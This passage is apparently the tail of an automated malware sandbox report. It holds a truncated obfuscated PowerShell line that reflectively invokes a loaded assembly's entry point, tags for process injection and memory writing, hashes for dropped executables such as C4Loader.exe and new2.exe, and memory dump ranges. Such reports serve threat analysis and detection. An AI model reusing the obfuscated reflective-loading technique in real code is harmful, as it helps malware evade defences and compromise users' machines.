8)+'e'+[Char](114)+''+[Char](115)+''+'t'+'a'+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)
                        1⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:3036

                      Network

                            MITRE ATT&CK Enterprise v6

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                            Downloads

                            powershell.exe.log

                            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                            • Size 2KB
                            • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                            • MD5 SHA1 SHA512

                            StartupProfileData-NonInteractive

                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 19KB
                            • SHA256 8570f2c5330e1825cce413005348630594cb0ecea444b1a8655963d5d3c44398
                            • MD5 SHA1 SHA512 SSDEEP

                            StartupProfileData-NonInteractive

                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 948B
                            • SHA256 5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
                            • MD5 SHA1 SHA512

                            C4Loader.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                            • Size 1.4MB
                            • SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
                            • MD5 SHA1 SHA512 SSDEEP

                            C4Loader.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                            • Size 1.4MB
                            • SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
                            • MD5 SHA1 SHA512 SSDEEP

                            SmartDefRun.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                            • Size 3.7MB
                            • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                            • MD5 SHA1 SHA512 SSDEEP

                            SmartDefRun.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                            • Size 3.7MB
                            • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                            • MD5 SHA1 SHA512 SSDEEP

                            SysApp.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                            • Size 1.4MB
                            • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                            • MD5 SHA1 SHA512 SSDEEP

                            SysApp.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                            • Size 1.4MB
                            • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                            • MD5 SHA1 SHA512 SSDEEP

                            new2.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                            • Size 477KB
                            • SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
                            • MD5 SHA1 SHA512 SSDEEP

                            new2.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                            • Size 477KB
                            • SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
                            • MD5 SHA1 SHA512 SSDEEP

                            memory/584-225-0x00007FF7F2C90000-0x00007FF7F2CA0000-memory.dmp

                            memory/1860-150-0x0000000006840000-0x000000000685E000-memory.dmp

                            memory/1860-143-0x0000000005460000-0x0000000005A88000-memory.dmp

                            memory/1860-156-0x0000000007830000-0x000000000784A000-memory.dmp

                            memory/1860-157-0x0000000007820000-0x0000000007828000-memory.dmp

                            memory/1860-158-0x0000000007910000-0x0000000007932000-memory.dmp

                            memory/1860-159-0x0000000008820000-0x0000000008DC4000-memory.dmp

                            memory/1860-154-0x0000000007870000-0x0000000007906000-memory.dmp

                            memory/1860-153-0x0000000007620000-0x000000000762A000-memory.dmp

                            memory/1860-152-0x00000000075B0000-0x00000000075CA000-memory.dmp

                            memory/1860-151-0x0000000007BF0000-0x000000000826A000-memory.dmp

                            memory/1860-142-0x0000000002C20000-0x0000000002C56000-memory.dmp

                            memory/1860-155-0x00000000077E0000-0x00000000077EE000-memory.dmp

                            memory/1860-144-0x0000000005360000-0x0000000005382000-memory.dmp

                            memory/1860-145-0x0000000005B40000-0x0000000005BA6000-memory.dmp

                            memory/1860-149-0x00000000748B0000-0x00000000748FC000-memory.dmp

                            memory/1860-148-0x0000000006860000-0x0000000006892000-memory.dmp

                            memory/1860-146-0x0000000005C20000-0x0000000005C86000-memory.dmp

                            memory/1860-147-0x0000000006280000-0x000000000629E000-memory.dmp

                            memory/1972-215-0x0000000140000000-0x0000000140029000-memory.dmp

                            memory/1972-218-0x0000000140000000-0x0000000140029000-memory.dmp

                            memory/1972-219-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

                            memory/1972-220-0x00007FF831C60000-0x00007FF831D1E000-memory.dmp

                            memory/3028-221-0x00007FF813B80000-0x00007FF814641000-memory.dmp

                            memory/3028-192-0x000001E5ECA00000-0x000001E5ECA22000-memory.dmp

                            memory/3028-194-0x00007FF813B80000-0x00007FF814641000-memory.dmp

                            memory/3036-212-0x00007FF813CC0000-0x00007FF814781000-memory.dmp

                            memory/3036-213-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

                            memory/3036-214-0x00007FF831C60000-0x00007FF831D1E000-memory.dmp

                            memory/3036-222-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

                            memory/3036-223-0x00007FF813CC0000-0x00007FF814781000-memory.dmp

                            memory/3036-224-0x00007FF831C60000-0x00007FF831D1E000-memory.dmp

                            memory/3324-183-0x0000000004DF0000-0x0000000004E2C000-memory.dmp

                            memory/3324-182-0x0000000004EC0000-0x0000000004FCA000-memory.dmp

                            memory/3324-190-0x0000000006C90000-0x0000000006CE0000-memory.dmp

                            memory/3324-189-0x00000000070D0000-0x00000000075FC000-memory.dmp

                            memory/3324-188-0x00000000069D0000-0x0000000006B92000-memory.dmp

                            memory/3324-187-0x0000000005A30000-0x0000000005A4E000-memory.dmp

                            memory/3324-175-0x0000000000370000-0x0000000000390000-memory.dmp

                            memory/3324-186-0x0000000005130000-0x00000000051A6000-memory.dmp

                            memory/3324-180-0x0000000005310000-0x0000000005928000-memory.dmp

                            memory/3324-181-0x0000000004D90000-0x0000000004DA2000-memory.dmp

                            memory/3552-140-0x0000000000400000-0x0000000000405000-memory.dmp

                            memory/3552-134-0x0000000000400000-0x0000000000405000-memory.dmp

                            memory/3656-163-0x00000000009B0000-0x0000000000B1C000-memory.dmp

                            memory/3656-174-0x00000000058D0000-0x00000000058DA000-memory.dmp

                            memory/3656-167-0x00000000053D0000-0x0000000005462000-memory.dmp

                            memory/4440-207-0x0000000002729000-0x0000000002866000-memory.dmp

                            memory/4440-184-0x0000000002212000-0x0000000002716000-memory.dmp

                            memory/4440-185-0x0000000002729000-0x0000000002866000-memory.dmp

                            memory/4440-191-0x0000000002212000-0x0000000002716000-memory.dmp

                            memory/5000-209-0x00007FF813BA0000-0x00007FF814661000-memory.dmp

                            memory/5000-208-0x00007FF813BA0000-0x00007FF814661000-memory.dmp